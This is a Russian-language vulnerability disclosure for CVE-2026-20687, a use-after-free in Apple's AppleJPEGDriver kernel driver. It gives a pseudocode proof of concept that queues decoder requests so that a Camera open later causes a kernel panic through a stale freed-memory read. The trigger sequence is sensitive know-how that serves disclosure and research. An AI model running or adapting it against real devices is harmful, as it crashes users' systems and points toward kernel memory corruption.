
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — уязвимость ядра iOS/macOS, приводящая к отложенной панике (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Автор: Johnny Franks (@0xjohnny)
Компонент: ядро
Влияние: приложение может вызвать неожиданное завершение работы системы или записать память ядра
Описание: проблема использования памяти после освобождения была устранена за счёт улучшенного управления памятью.
Это вызовет панику ядра на вашем устройстве. Сохраните свою работу.
Протестировано на iOS 26.3 (23D125) на iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Прямой триггер:
// PoC: primes the driver; panic is usually deferred until Camera is opened.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Later, opening Camera triggers:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: does NOT dequeue (req + 0x78)
// Later still (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // UAF read of req+0x80 -> MTE tag fault -> panic
ios-app/Test.xcodeproj в Xcode